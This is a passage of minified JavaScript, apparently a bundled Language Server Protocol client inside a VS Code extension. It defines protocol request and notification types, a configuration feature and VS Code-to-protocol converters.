Xg=F(_=>{"use strict";Object.defineProperty(_,"__esModule",{value:!0});_.DocumentLinkRequest=_.CodeLensRefreshRequest=_.CodeLensResolveRequest=_.CodeLensRequest=_.WorkspaceSymbolRequest=_.CodeActionResolveRequest=_.CodeActionRequest=_.DocumentSymbolRequest=_.DocumentHighlightRequest=_.ReferencesRequest=_.DefinitionRequest=_.SignatureHelpRequest=_.SignatureHelpTriggerKind=_.HoverRequest=_.CompletionResolveRequest=_.CompletionRequest=_.CompletionTriggerKind=_.PublishDiagnosticsNotification=_.WatchKind=_.FileChangeType=_.DidChangeWatchedFilesNotification=_.WillSaveTextDocumentWaitUntilRequest=_.WillSaveTextDocumentNotification=_.TextDocumentSaveReason=_.DidSaveTextDocumentNotification=_.DidCloseTextDocumentNotification=_.DidChangeTextDocumentNotification=_.TextDocumentContentChangeEvent=_.DidOpenTextDocumentNotification=_.TextDocumentSyncKind=_.TelemetryEventNotification=_.LogMessageNotification=_.ShowMessageRequest=_.ShowMessageNotification=_.MessageType=_.DidChangeConfigurationNotification=_.ExitNotification=_.ShutdownRequest=_.InitializedNotification=_.InitializeError=_.InitializeRequest=_.WorkDoneProgressOptions=_.TextDocumentRegistrationOptions=_.StaticRegistrationOptions=_.FailureHandlingKind=_.ResourceOperationKind=_.UnregistrationRequest=_.RegistrationRequest=_.DocumentSelector=_.DocumentFilter=void 0;_.MonikerRequest=_.MonikerKind=_.UniquenessLevel=_.WillDeleteFilesRequest=_.DidDeleteFilesNotification=_.WillRenameFilesRequest=_.DidRenameFilesNotification=_.WillCreateFilesRequest=_.DidCreateFilesNotification=_.FileOperationPatternKind=_.LinkedEditingRangeRequest=_.ShowDocumentRequest=_.SemanticTokensRegistrationType=_.SemanticTokensRefreshRequest=_.SemanticTokensRangeRequest=_.SemanticTokensDeltaRequest=_.SemanticTokensRequest=_.TokenFormat=_.CallHierarchyPrepareRequest=_.CallHierarchyOutgoingCallsRequest=_.CallHierarchyIncomingCallsRequest=_.WorkDoneProgressCancelNotification=_.WorkDoneProgressCreateRequest=_.WorkDoneProgress=_.SelectionRangeRequest=_.DeclarationRequest=_.FoldingRangeRequest=_.ColorPresentationRequest=_.DocumentColorRequest=_.ConfigurationRequest=_.DidChangeWorkspaceFoldersNotification=_.WorkspaceFoldersRequest=_.TypeDefinitionRequest=_.ImplementationRequest=_.ApplyWorkspaceEditRequest=_.ExecuteCommandRequest=_.PrepareRenameRequest=_.RenameRequest=_.PrepareSupportDefaultBehavior=_.DocumentOnTypeFormattingRequest=_.DocumentRangeFormattingRequest=_.DocumentFormattingRequest=_.DocumentLinkResolveRequest=void 0;var de=ht(),Mn=$u(),LP=Eg();Object.defineProperty(_,"ImplementationRequest",{enumerable:!0,get:function(){return LP.ImplementationRequest}});var NP=xg();Object.defineProperty(_,"TypeDefinitionRequest",{enumerable:!0,get:function(){return NP.TypeDefinitionRequest}});var Kg=qg();Object.defineProperty(_,"WorkspaceFoldersRequest",{enumerable:!0,get:function(){return Kg.WorkspaceFoldersRequest}});Object.defineProperty(_,"DidChangeWorkspaceFoldersNotification",{enumerable:!0,get:function(){return Kg.DidChangeWorkspaceFoldersNotification}});var MP=Og();Object.defineProperty(_,"ConfigurationRequest",{enumerable:!0,get:function(){return MP.ConfigurationRequest}});var Gg=Fg();Object.defineProperty(_,"DocumentColorRequest",{enumerable:!0,get:function(){return Gg.DocumentColorRequest}});Object.defineProperty(_,"ColorPresentationRequest",{enumerable:!0,get:function(){return Gg.ColorPresentationRequest}});var jP=Ig();Object.defineProperty(_,"FoldingRangeRequest",{enumerable:!0,get:function(){return jP.FoldingRangeRequest}});var $P=Lg();Object.defineProperty(_,"DeclarationRequest",{enumerable:!0,get:function(){return $P.DeclarationRequest}});var WP=Ng();Object.defineProperty(_,"SelectionRangeRequest",{enumerable:!0,get:function(){return WP.SelectionRangeRequest}});var Hu=jg();Object.defineProperty(_,"WorkDoneProgress",{enumerable:!0,get:function(){return Hu.WorkDoneProgress}});Object.defineProperty(_,"WorkDoneProgressCreateRequest",{enumerable:!0,get:function(){return Hu.WorkDoneProgressCreateRequest}});Object.defineProperty(_,"WorkDoneProgressCancelNotification",{enumerable:!0,get:function(){return Hu.WorkDoneProgressCancelNotification}});var zu=$g();Object.defineProperty(_,"CallHierarchyIncomingCallsRequest",{enumerable:!0,get:function(){return zu.CallHierarchyIncomingCallsRequest}});Object.defineProperty(_,"CallHierarchyOutgoingCallsRequest",{enumerable:!0,get:function(){return zu.CallHierarchyOutgoingCallsRequest}});Object.defineProperty(_,"CallHierarchyPrepareRequest",{enumerable:!0,get:function(){return zu.CallHierarchyPrepareRequest}});var Bi=Wg();Object.defineProperty(_,"TokenFormat",{enumerable:!0,get:function(){return Bi.TokenFormat}});Object.defineProperty(_,"SemanticTokensRequest",{enumerable:!0,get:function(){return Bi.SemanticTokensRequest}});Object.defineProperty(_,"SemanticTokensDeltaRequest",{enumerable:!0,get:function(){return Bi.SemanticTokensDeltaRequest}});Object.defineProperty(_,"SemanticTokensRangeRequest",{enumerable:!0,get:function(){return Bi.SemanticTokensRangeRequest}});Object.defineProperty(_,"SemanticTokensRefreshRequest",{enumerable:!0,get:function(){return Bi.SemanticTokensRefreshRequest}});Object.defineProperty(_,"SemanticTokensRegistrationType",{enumerable:!0,get:function(){return Bi.SemanticTokensRegistrationType}});var HP=Hg();Object.defineProperty(_,"ShowDocumentRequest",{enumerable:!0,get:function(){return HP.ShowDocumentRequest}});var zP=zg();Object.defineProperty(_,"LinkedEditingRangeRequest",{enumerable:!0,get:function(){return zP.LinkedEditingRangeRequest}});var ci=Bg();Object.defineProperty(_,"FileOperationPatternKind",{enumerable:!0,get:function(){return ci.FileOperationPatternKind}});Object.defineProperty(_,"DidCreateFilesNotification",{enumerable:!0,get:function(){return ci.DidCreateFilesNotification}});Object.defineProperty(_,"WillCreateFilesRequest",{enumerable:!0,get:function(){return ci.WillCreateFilesRequest}});Object.defineProperty(_,"DidRenameFilesNotification",{enumerable:!0,get:function(){return ci.DidRenameFilesNotification}});Object.defineProperty(_,"WillRenameFilesRequest",{enumerable:!0,get:function(){return ci.WillRenameFilesRequest}});Object.defineProperty(_,"DidDeleteFilesNotification",{enumerable:!0,get:function(){return ci.DidDeleteFilesNotification}});Object.defineProperty(_,"WillDeleteFilesRequest",{enumerable:!0,get:function(){return ci.WillDeleteFilesRequest}});var Bu=Ug();Object.defineProperty(_,"UniquenessLevel",{enumerable:!0,get:function(){return Bu.UniquenessLevel}});Object.defineProperty(_,"MonikerKind",{enumerable:!0,get:function(){return Bu.MonikerKind}});Object.defineProperty(_,"MonikerRequest",{enumerable:!0,get:function(){return Bu.MonikerRequest}});var Vg;(function(r){function e(t){let n=t;return Mn.string(n.language)||Mn.string(n.scheme)||Mn.string(n.pattern)}r.is=e})(Vg=_.DocumentFilter||(_.DocumentFilter={}));var Yg;(function(r){function e(t){if(!Array.isArray(t))return!1;for(let n of t)if(!Mn.string(n)&&!Vg.is(n))return!1;return!0}r.is=e})(Yg=_.DocumentSelector||(_.DocumentSelector={}));var BP;(function(r){r.type=new de.ProtocolRequestType("client/registerCapability")})(BP=_.RegistrationRequest||(_.RegistrationRequest={}));var UP;(function(r){r.type=new de.ProtocolRequestType("client/unregisterCapability")})(UP=_.UnregistrationRequest||(_.UnregistrationRequest={}));var KP;(function(r){r.Create="create",r.Rename="rename",r.Delete="delete"})(KP=_.ResourceOperationKind||(_.ResourceOperationKind={}));var GP;(function(r){r.Abort="abort",r.Transactional="transactional",r.TextOnlyTransactional="textOnlyTransactional",r.Undo="undo"})(GP=_.FailureHandlingKind||(_.FailureHandlingKind={}));var VP;(function(r){function e(t){let n=t;return n&&Mn.string(n.id)&&n.id.length>0}r.hasId=e})(VP=_.StaticRegistrationOptions||(_.StaticRegistrationOptions={}));var YP;(function(r){function e(t){let n=t;return n&&(n.documentSelector===null||Yg.is(n.documentSelector))}r.is=e})(YP=_.TextDocumentRegistrationOptions||(_.TextDocumentRegistrationOptions={}));var XP;(function(r){function e(n){let i=n;return Mn.objectLiteral(i)&&(i.workDoneProgress===void 0||Mn.boolean(i.workDoneProgress))}r.is=e;function t(n){let i=n;return i&&Mn.boolean(i.workDoneProgress)}r.hasWorkDoneProgress=t})(XP=_.WorkDoneProgressOptions||(_.WorkDoneProgressOptions={}));var QP;(function(r){r.type=new de.ProtocolRequestType("initialize")})(QP=_.InitializeRequest||(_.InitializeRequest={}));var JP;(function(r){r.unknownProtocolVersion=1})(JP=_.InitializeError||(_.InitializeError={}));var ZP;(function(r){r.type=new de.ProtocolNotificationType("initialized")})(ZP=_.InitializedNotification||(_.InitializedNotification={}));var eD;(function(r){r.type=new de.ProtocolRequestType0("shutdown")})(eD=_.ShutdownRequest||(_.ShutdownRequest={}));var tD;(function(r){r.type=new de.ProtocolNotificationType0("exit")})(tD=_.ExitNotification||(_.ExitNotification={}));var rD;(function(r){r.type=new de.ProtocolNotificationType("workspace/didChangeConfiguration")})(rD=_.DidChangeConfigurationNotification||(_.DidChangeConfigurationNotification={}));var nD;(function(r){r.Error=1,r.Warning=2,r.Info=3,r.Log=4})(nD=_.MessageType||(_.MessageType={}));var iD;(function(r){r.type=new de.ProtocolNotificationType("window/showMessage")})(iD=_.ShowMessageNotification||(_.ShowMessageNotification={}));var oD;(function(r){r.type=new de.ProtocolRequestType("window/showMessageRequest")})(oD=_.ShowMessageRequest||(_.ShowMessageRequest={}));var sD;(function(r){r.type=new de.ProtocolNotificationType("window/logMessage")})(sD=_.LogMessageNotification||(_.LogMessageNotification={}));var aD;(function(r){r.type=new de.ProtocolNotificationType("telemetry/event")})(aD=_.TelemetryEventNotification||(_.TelemetryEventNotification={}));var cD;(function(r){r.None=0,r.Full=1,r.Incremental=2})(cD=_.TextDocumentSyncKind||(_.TextDocumentSyncKind={}));var uD;(function(r){r.method="textDocument/didOpen",r.type=new de.ProtocolNotificationType(r.method)})(uD=_.DidOpenTextDocumentNotification||(_.DidOpenTextDocumentNotification={}));var lD;(function(r){function e(n){let i=n;return i!=null&&typeof i.text=="string"&&i.range!==void 0&&(i.rangeLength===void 0||typeof i.rangeLength=="number")}r.isIncremental=e;function t(n){let i=n;return i!=null&&typeof i.text=="string"&&i.range===void 0&&i.rangeLength===void 0}r.isFull=t})(lD=_.TextDocumentContentChangeEvent||(_.TextDocumentContentChangeEvent={}));var dD;(function(r){r.method="textDocument/didChange",r.type=new de.ProtocolNotificationType(r.method)})(dD=_.DidChangeTextDocumentNotification||(_.DidChangeTextDocumentNotification={}));var fD;(function(r){r.method="textDocument/didClose",r.type=new de.ProtocolNotificationType(r.method)})(fD=_.DidCloseTextDocumentNotification||(_.DidCloseTextDocumentNotification={}));var hD;(function(r){r.method="textDocument/didSave",r.type=new de.ProtocolNotificationType(r.method)})(hD=_.DidSaveTextDocumentNotification||(_.DidSaveTextDocumentNotification={}));var pD;(function(r){r.Manual=1,r.AfterDelay=2,r.FocusOut=3})(pD=_.TextDocumentSaveReason||(_.TextDocumentSaveReason={}));var gD;(function(r){r.method="textDocument/willSave",r.type=new de.ProtocolNotificationType(r.method)})(gD=_.WillSaveTextDocumentNotification||(_.WillSaveTextDocumentNotification={}));var mD;(function(r){r.method="textDocument/willSaveWaitUntil",r.type=new de.ProtocolRequestType(r.method)})(mD=_.WillSaveTextDocumentWaitUntilRequest||(_.WillSaveTextDocumentWaitUntilRequest={}));var vD;(function(r){r.type=new de.ProtocolNotificationType("workspace/didChangeWatchedFiles")})(vD=_.DidChangeWatchedFilesNotification||(_.DidChangeWatchedFilesNotification={}));var yD;(function(r){r.Created=1,r.Changed=2,r.Deleted=3})(yD=_.FileChangeType||(_.FileChangeType={}));var bD;(function(r){r.Create=1,r.Change=2,r.Delete=4})(bD=_.WatchKind||(_.WatchKind={}));var wD;(function(r){r.type=new de.ProtocolNotificationType("textDocument/publishDiagnostics")})(wD=_.PublishDiagnosticsNotification||(_.PublishDiagnosticsNotification={}));var CD;(function(r){r.Invoked=1,r.TriggerCharacter=2,r.TriggerForIncompleteCompletions=3})(CD=_.CompletionTriggerKind||(_.CompletionTriggerKind={}));var RD;(function(r){r.method="textDocument/completion",r.type=new de.ProtocolRequestType(r.method)})(RD=_.CompletionRequest||(_.CompletionRequest={}));var _D;(function(r){r.method="completionItem/resolve",r.type=new de.ProtocolRequestType(r.method)})(_D=_.CompletionResolveRequest||(_.CompletionResolveRequest={}));var SD;(function(r){r.method="textDocument/hover",r.type=new de.ProtocolRequestType(r.method)})(SD=_.HoverRequest||(_.HoverRequest={}));var TD;(function(r){r.Invoked=1,r.TriggerCharacter=2,r.ContentChange=3})(TD=_.SignatureHelpTriggerKind||(_.SignatureHelpTriggerKind={}));var PD;(function(r){r.method="textDocument/signatureHelp",r.type=new de.ProtocolRequestType(r.method)})(PD=_.SignatureHelpRequest||(_.SignatureHelpRequest={}));var DD;(function(r){r.method="textDocument/definition",r.type=new de.ProtocolRequestType(r.method)})(DD=_.DefinitionRequest||(_.DefinitionRequest={}));var ED;(function(r){r.method="textDocument/references",r.type=new de.ProtocolRequestType(r.method)})(ED=_.ReferencesRequest||(_.ReferencesRequest={}));var xD;(function(r){r.method="textDocument/documentHighlight",r.type=new de.ProtocolRequestType(r.method)})(xD=_.DocumentHighlightRequest||(_.DocumentHighlightRequest={}));var kD;(function(r){r.method="textDocument/documentSymbol",r.type=new de.ProtocolRequestType(r.method)})(kD=_.DocumentSymbolRequest||(_.DocumentSymbolRequest={}));var qD;(function(r){r.method="textDocument/codeAction",r.type=new de.ProtocolRequestType(r.method)})(qD=_.CodeActionRequest||(_.CodeActionRequest={}));var OD;(function(r){r.method="codeAction/resolve",r.type=new de.ProtocolRequestType(r.method)})(OD=_.CodeActionResolveRequest||(_.CodeActionResolveRequest={}));var AD;(function(r){r.method="workspace/symbol",r.type=new de.ProtocolRequestType(r.method)})(AD=_.WorkspaceSymbolRequest||(_.WorkspaceSymbolRequest={}));var FD;(function(r){r.method="textDocument/codeLens",r.type=new de.ProtocolRequestType(r.method)})(FD=_.CodeLensRequest||(_.CodeLensRequest={}));var ID;(function(r){r.method="codeLens/resolve",r.type=new de.ProtocolRequestType(r.method)})(ID=_.CodeLensResolveRequest||(_.CodeLensResolveRequest={}));var LD;(function(r){r.method="workspace/codeLens/refresh",r.type=new de.ProtocolRequestType0(r.method)})(LD=_.CodeLensRefreshRequest||(_.CodeLensRefreshRequest={}));var ND;(function(r){r.method="textDocument/documentLink",r.type=new de.ProtocolRequestType(r.method)})(ND=_.DocumentLinkRequest||(_.DocumentLinkRequest={}));var MD;(function(r){r.method="documentLink/resolve",r.type=new de.ProtocolRequestType(r.method)})(MD=_.DocumentLinkResolveRequest||(_.DocumentLinkResolveRequest={}));var jD;(function(r){r.method="textDocument/formatting",r.type=new de.ProtocolRequestType(r.method)})(jD=_.DocumentFormattingRequest||(_.DocumentFormattingRequest={}));var $D;(function(r){r.method="textDocument/rangeFormatting",r.type=new de.ProtocolRequestType(r.method)})($D=_.DocumentRangeFormattingRequest||(_.DocumentRangeFormattingRequest={}));var WD;(function(r){r.method="textDocument/onTypeFormatting",r.type=new de.ProtocolRequestType(r.method)})(WD=_.DocumentOnTypeFormattingRequest||(_.DocumentOnTypeFormattingRequest={}));var HD;(function(r){r.Identifier=1})(HD=_.PrepareSupportDefaultBehavior||(_.PrepareSupportDefaultBehavior={}));var zD;(function(r){r.method="textDocument/rename",r.type=new de.ProtocolRequestType(r.method)})(zD=_.RenameRequest||(_.RenameRequest={}));var BD;(function(r){r.method="textDocument/prepareRename",r.type=new de.ProtocolRequestType(r.method)})(BD=_.PrepareRenameRequest||(_.PrepareRenameRequest={}));var UD;(function(r){r.type=new de.ProtocolRequestType("workspace/executeCommand")})(UD=_.ExecuteCommandRequest||(_.ExecuteCommandRequest={}));var KD;(function(r){r.type=new de.ProtocolRequestType("workspace/applyEdit")})(KD=_.ApplyWorkspaceEditRequest||(_.ApplyWorkspaceEditRequest={}))});var Jg=F(Da=>{"use strict";Object.defineProperty(Da,"__esModule",{value:!0});Da.createProtocolConnection=void 0;var Qg=ai();function GD(r,e,t,n){return Qg.ConnectionStrategy.is(n)&&(n={connectionStrategy:n}),Qg.createMessageConnection(r,e,t,n)}Da.createProtocolConnection=GD});var em=F(kt=>{"use strict";Object.defineProperty(kt,"__esModule",{value:!0});kt.DiagnosticRefreshRequest=kt.WorkspaceDiagnosticRequest=kt.DocumentDiagnosticRequest=kt.DocumentDiagnosticReportKind=kt.DiagnosticServerCancellationData=void 0;var Zg=ai(),VD=$u(),Uu=ht(),YD;(function(r){function e(t){let n=t;return n&&VD.boolean(n.retriggerRequest)}r.is=e})(YD=kt.DiagnosticServerCancellationData||(kt.DiagnosticServerCancellationData={}));var XD;(function(r){r.full="full",r.unChanged="unChanged"})(XD=kt.DocumentDiagnosticReportKind||(kt.DocumentDiagnosticReportKind={}));var QD;(function(r){r.method="textDocument/diagnostic",r.type=new Uu.ProtocolRequestType(r.method),r.partialResult=new Zg.ProgressType})(QD=kt.DocumentDiagnosticRequest||(kt.DocumentDiagnosticRequest={}));var JD;(function(r){r.method="workspace/diagnostic",r.type=new Uu.ProtocolRequestType(r.method),r.partialResult=new Zg.ProgressType})(JD=kt.WorkspaceDiagnosticRequest||(kt.WorkspaceDiagnosticRequest={}));var ZD;(function(r){r.method="workspace/diagnostic/refresh",r.type=new Uu.ProtocolRequestType0(r.method)})(ZD=kt.DiagnosticRefreshRequest||(kt.DiagnosticRefreshRequest={}))});var tm=F(bt=>{"use strict";var eE=bt&&bt.__createBinding||(Object.create?function(r,e,t,n){n===void 0&&(n=t),Object.defineProperty(r,n,{enumerable:!0,get:function(){return e[t]}})}:function(r,e,t,n){n===void 0&&(n=t),r[n]=e[t]}),Ea=bt&&bt.__exportStar||function(r,e){for(var t in r)t!=="default"&&!Object.prototype.hasOwnProperty.call(e,t)&&eE(e,r,t)};Object.defineProperty(bt,"__esModule",{value:!0});bt.Proposed=bt.LSPErrorCodes=bt.createProtocolConnection=void 0;Ea(ai(),bt);Ea(wg(),bt);Ea(ht(),bt);Ea(Xg(),bt);var tE=Jg();Object.defineProperty(bt,"createProtocolConnection",{enumerable:!0,get:function(){return tE.createProtocolConnection}});var rE;(function(r){r.lspReservedErrorRangeStart=-32899,r.ServerCancelled=-32802,r.ContentModified=-32801,r.RequestCancelled=-32800,r.lspReservedErrorRangeEnd=-32800})(rE=bt.LSPErrorCodes||(bt.LSPErrorCodes={}));var rs=em(),nE;(function(r){r.DiagnosticServerCancellationData=rs.DiagnosticServerCancellationData,r.DocumentDiagnosticReportKind=rs.DocumentDiagnosticReportKind,r.DocumentDiagnosticRequest=rs.DocumentDiagnosticRequest,r.WorkspaceDiagnosticRequest=rs.WorkspaceDiagnosticRequest,r.DiagnosticRefreshRequest=rs.DiagnosticRefreshRequest})(nE=bt.Proposed||(bt.Proposed={}))});var Be=F(nn=>{"use strict";var iE=nn&&nn.__createBinding||(Object.create?function(r,e,t,n){n===void 0&&(n=t),Object.defineProperty(r,n,{enumerable:!0,get:function(){return e[t]}})}:function(r,e,t,n){n===void 0&&(n=t),r[n]=e[t]}),rm=nn&&nn.__exportStar||function(r,e){for(var t in r)t!=="default"&&!Object.prototype.hasOwnProperty.call(e,t)&&iE(e,r,t)};Object.defineProperty(nn,"__esModule",{value:!0});nn.createProtocolConnection=void 0;var oE=ju();rm(ju(),nn);rm(tm(),nn);function sE(r,e,t,n){return oE.createMessageConnection(r,e,t,n)}nn.createProtocolConnection=sE});var Gu=F(Ki=>{"use strict";Object.defineProperty(Ki,"__esModule",{value:!0});Ki.toJSONObject=Ki.ConfigurationFeature=void 0;var Ku=require("vscode"),aE=Be(),nm=class{constructor(e){this._client=e}fillClientCapabilities(e){e.workspace=e.workspace||{},e.workspace.configuration=!0}initialize(){let e=this._client;e.onRequest(aE.ConfigurationRequest.type,(t,n)=>{let i=a=>{let l=[];for(let u of a.items){let g=u.scopeUri!==void 0&&u.scopeUri!==null?this._client.protocol2CodeConverter.asUri(u.scopeUri):void 0;l.push(this.getConfiguration(g,u.section!==null?u.section:void 0))}return l},s=e.clientOptions.middleware.workspace;return s&&s.configuration?s.configuration(t,n,i):i(t,n)})}getConfiguration(e,t){let n=null;if(t){let i=t.lastIndexOf(".");if(i===-1)n=Ui(Ku.workspace.getConfiguration(void 0,e).get(t));else{let s=Ku.workspace.getConfiguration(t.substr(0,i),e);s&&(n=Ui(s.get(t.substr(i+1))))}}else{let i=Ku.workspace.getConfiguration(void 0,e);n={};for(let s of Object.keys(i))i.has(s)&&(n[s]=Ui(i.get(s)))}return n===void 0&&(n=null),n}dispose(){}};Ki.ConfigurationFeature=nm;function Ui(r){if(r){if(Array.isArray(r))return r.map(Ui);if(typeof r=="object"){let e=Object.create(null);for(let t in r)Object.prototype.hasOwnProperty.call(r,t)&&(e[t]=Ui(r[t]));return e}}return r}Ki.toJSONObject=Ui});var Yu=F(Vu=>{"use strict";Object.defineProperty(Vu,"__esModule",{value:!0});var cE=require("vscode"),im=class extends cE.CompletionItem{constructor(e){super(e)}};Vu.default=im});var Qu=F(Xu=>{"use strict";Object.defineProperty(Xu,"__esModule",{value:!0});var uE=require("vscode"),om=class extends uE.CodeLens{constructor(e){super(e)}};Xu.default=om});var Zu=F(Ju=>{"use strict";Object.defineProperty(Ju,"__esModule",{value:!0});var lE=require("vscode"),sm=class extends lE.DocumentLink{constructor(e,t){super(e,t)}};Ju.default=sm});var tl=F(el=>{"use strict";Object.defineProperty(el,"__esModule",{value:!0});var dE=require("vscode"),am=class extends dE.CodeAction{constructor(e,t){super(e);this.data=t}};el.default=am});var nl=F(ui=>{"use strict";Object.defineProperty(ui,"__esModule",{value:!0});ui.ProtocolDiagnostic=ui.DiagnosticCode=void 0;var fE=require("vscode"),rl=yn(),hE;(function(r){function e(t){let n=t;return n!=null&&(rl.number(n.value)||rl.string(n.value))&&rl.string(n.target)}r.is=e})(hE=ui.DiagnosticCode||(ui.DiagnosticCode={}));var cm=class extends fE.Diagnostic{constructor(e,t,n,i){super(e,t,n);this.data=i,this.hasDiagnosticCode=!1}};ui.ProtocolDiagnostic=cm});var ol=F(il=>{"use strict";Object.defineProperty(il,"__esModule",{value:!0});var pE=require("vscode"),um=class extends pE.CallHierarchyItem{constructor(e,t,n,i,s,a,l){super(e,t,n,i,s,a);l!==void 0&&(this.data=l)}};il.default=um});var dm=F(xa=>{"use strict";Object.defineProperty(xa,"__esModule",{value:!0});xa.createConverter=void 0;var wt=require("vscode"),xe=Be(),Gi=yn(),gE=Yu(),mE=Qu(),vE=Zu(),yE=tl(),lm=nl(),bE=ol(),ns=Be(),sl;(function(r){function e(t){let n=t;return n&&!!n.inserting&&!!n.replacing}r.is=e})(sl||(sl={}));function wE(r){let t=r||(f=>f.toString());function n(f){return t(f)}function i(f){return{uri:t(f.uri)}}function s(f){return{uri:t(f.uri),version:f.version}}function a(f){return{textDocument:{uri:t(f.uri),languageId:f.languageId,version:f.version,text:f.getText()}}}function l(f){let d=f;return!!d.document&&!!d.contentChanges}function u(f){let d=f;return!!d.uri&&!!d.version}function g(f){if(u(f))return{textDocument:{uri:t(f.uri),version:f.version},contentChanges:[{text:f.getText()}]};if(l(f)){let d=f.document;return{textDocument:{uri:t(d.uri),version:d.version},contentChanges:f.contentChanges.map(P=>{let y=P.range;return{range:{start:{line:y.start.line,character:y.start.character},end:{line:y.end.line,character:y.end.character}},rangeLength:P.rangeLength,text:P.text}})}}else throw Error("Unsupported text document change parameter")}function v(f){return{textDocument:i(f)}}function b(f,d=!1){let R={textDocument:i(f)};return d&&(R.text=f.getText()),R}function C(f){switch(f){case wt.TextDocumentSaveReason.Manual:return xe.TextDocumentSaveReason.Manual;case wt.TextDocumentSaveReason.AfterDelay:return xe.TextDocumentSaveReason.AfterDelay;case wt.TextDocumentSaveReason.FocusOut:return xe.TextDocumentSaveReason.FocusOut}return xe.TextDocumentSaveReason.Manual}function w(f){return{textDocument:i(f.document),reason:C(f.reason)}}function E(f){return{files:f.files.map(d=>({uri:t(d)}))}}function q(f){return{files:f.files.map(d=>({oldUri:t(d.oldUri),newUri:t(d.newUri)}))}}function N(f){return{files:f.files.map(d=>({uri:t(d)}))}}function A(f){return{files:f.files.map(d=>({uri:t(d)}))}}function H(f){return{files:f.files.map(d=>({oldUri:t(d.oldUri),newUri:t(d.newUri)}))}}function O(f){return{files:f.files.map(d=>({uri:t(d)}))}}function z(f,d){return{textDocument:i(f),position:St(d)}}function M(f){switch(f){case wt.CompletionTriggerKind.TriggerCharacter:return xe.CompletionTriggerKind.TriggerCharacter;case wt.CompletionTriggerKind.TriggerForIncompleteCompletions:return xe.CompletionTriggerKind.TriggerForIncompleteCompletions;default:return xe.CompletionTriggerKind.Invoked}}function G(f,d,R){return{textDocument:i(f),position:St(d),context:{triggerKind:M(R.triggerKind),triggerCharacter:R.triggerCharacter}}}function X(f){switch(f){case wt.SignatureHelpTriggerKind.Invoke:return xe.SignatureHelpTriggerKind.Invoked;case wt.SignatureHelpTriggerKind.TriggerCharacter:return xe.SignatureHelpTriggerKind.TriggerCharacter;case wt.SignatureHelpTriggerKind.ContentChange:return xe.SignatureHelpTriggerKind.ContentChange}}function _e(f){return{label:f.label}}function Ae(f){return f.map(_e)}function Je(f){return{label:f.label,parameters:Ae(f.parameters)}}function je(f){return f.map(Je)}function Fe(f){return f===void 0?f:{signatures:je(f.signatures),activeSignature:f.activeSignature,activeParameter:f.activeParameter}}function ct(f,d,R){return{textDocument:i(f),position:St(d),context:{isRetrigger:R.isRetrigger,triggerCharacter:R.triggerCharacter,triggerKind:X(R.triggerKind),activeSignatureHelp:Fe(R.activeSignatureHelp)}}}function St(f){return{line:f.line,character:f.character}}function Tt(f){return f==null?f:{line:f.line>ns.uinteger.MAX_VALUE?ns.uinteger.MAX_VALUE:f.line,character:f.character>ns.uinteger.MAX_VALUE?ns.uinteger.MAX_VALUE:f.character}}function Wt(f){let d=[];for(let R of f)d.push(Tt(R));return d}function $e(f){return f==null?f:{start:Tt(f.start),end:Tt(f.end)}}function gt(f){return f==null?f:xe.Location.create(n(f.uri),$e(f.range))}function mt(f){switch(f){case wt.DiagnosticSeverity.Error:return xe.DiagnosticSeverity.Error;case wt.DiagnosticSeverity.Warning:return xe.DiagnosticSeverity.Warning;case wt.DiagnosticSeverity.Information:return xe.DiagnosticSeverity.Information;case wt.DiagnosticSeverity.Hint:return xe.DiagnosticSeverity.Hint}}function ut(f){if(!f)return;let d=[];for(let R of f){let P=Pt(R);P!==void 0&&d.push(P)}return d.length>0?d:void 0}function Pt(f){switch(f){case wt.DiagnosticTag.Unnecessary:return xe.DiagnosticTag.Unnecessary;case wt.DiagnosticTag.Deprecated:return xe.DiagnosticTag.Deprecated;default:return}}function Ot(f){return{message:f.message,location:gt(f.location)}}function Jr(f){return f.map(Ot)}function Zr(f){if(f!=null)return Gi.number(f)||Gi.string(f)?f:{value:f.value,target:n(f.target)}}function Or(f){let d=xe.Diagnostic.create($e(f.range),f.message),R=f instanceof lm.ProtocolDiagnostic?f:void 0;R!==void 0&&R.data!==void 0&&(d.data=R.data);let P=Zr(f.code);return lm.DiagnosticCode.is(P)?R!==void 0&&R.hasDiagnosticCode?d.code=P:(d.code=P.value,d.codeDescription={href:P.target}):d.code=P,Gi.number(f.severity)&&(d.severity=mt(f.severity)),Array.isArray(f.tags)&&(d.tags=ut(f.tags)),f.relatedInformation&&(d.relatedInformation=Jr(f.relatedInformation)),f.source&&(d.source=f.source),d}function nt(f){return f==null?f:f.map(Or)}function lt(f,d){switch(f){case"$string":return d;case xe.MarkupKind.PlainText:return{kind:f,value:d};case xe.MarkupKind.Markdown:return{kind:f,value:d.value};default:return`Unsupported Markup content received. Kind is: ${f}`}}function gr(f){switch(f){case wt.CompletionItemTag.Deprecated:return xe.CompletionItemTag.Deprecated}}function cr(f){if(f===void 0)return f;let d=[];for(let R of f){let P=gr(R);P!==void 0&&d.push(P)}return d}function dt(f,d){return d!==void 0?d:f+1}function mr(f,d=!1){let R,P;Gi.string(f.label)?R=f.label:(R=f.label.label,d&&(f.label.detail!==void 0||f.label.description!==void 0)&&(P={detail:f.label.detail,description:f.label.description}));let y={label:R};P!==void 0&&(y.labelDetails=P);let m=f instanceof gE.default?f:void 0;f.detail&&(y.detail=f.detail),f.documentation&&(!m||m.documentationFormat==="$string"?y.documentation=f.documentation:y.documentation=lt(m.documentationFormat,f.documentation)),f.filterText&&(y.filterText=f.filterText),Ar(y,f),Gi.number(f.kind)&&(y.kind=dt(f.kind,m&&m.originalItemKind)),f.sortText&&(y.sortText=f.sortText),f.additionalTextEdits&&(y.additionalTextEdits=At(f.additionalTextEdits)),f.commitCharacters&&(y.commitCharacters=f.commitCharacters.slice()),f.command&&(y.command=Ze(f.command)),(f.preselect===!0||f.preselect===!1)&&(y.preselect=f.preselect);let x=cr(f.tags);if(m){if(m.data!==void 0&&(y.data=m.data),m.deprecated===!0||m.deprecated===!1){if(m.deprecated===!0&&x!==void 0&&x.length>0){let I=x.indexOf(wt.CompletionItemTag.Deprecated);I!==-1&&x.splice(I,1)}y.deprecated=m.deprecated}m.insertTextMode!==void 0&&(y.insertTextMode=m.insertTextMode)}return x!==void 0&&x.length>0&&(y.tags=x),y.insertTextMode===void 0&&f.keepWhitespace===!0&&(y.insertTextMode=ns.InsertTextMode.adjustIndentation),y}function Ar(f,d){let R=xe.InsertTextFormat.PlainText,P,y;d.textEdit?(P=d.textEdit.newText,y=d.textEdit.range):d.insertText instanceof wt.SnippetString?(R=xe.InsertTextFormat.Snippet,P=d.insertText.value):P=d.insertText,d.range&&(y=d.range),f.insertTextFormat=R,d.fromEdit&&P!==void 0&&y!==void 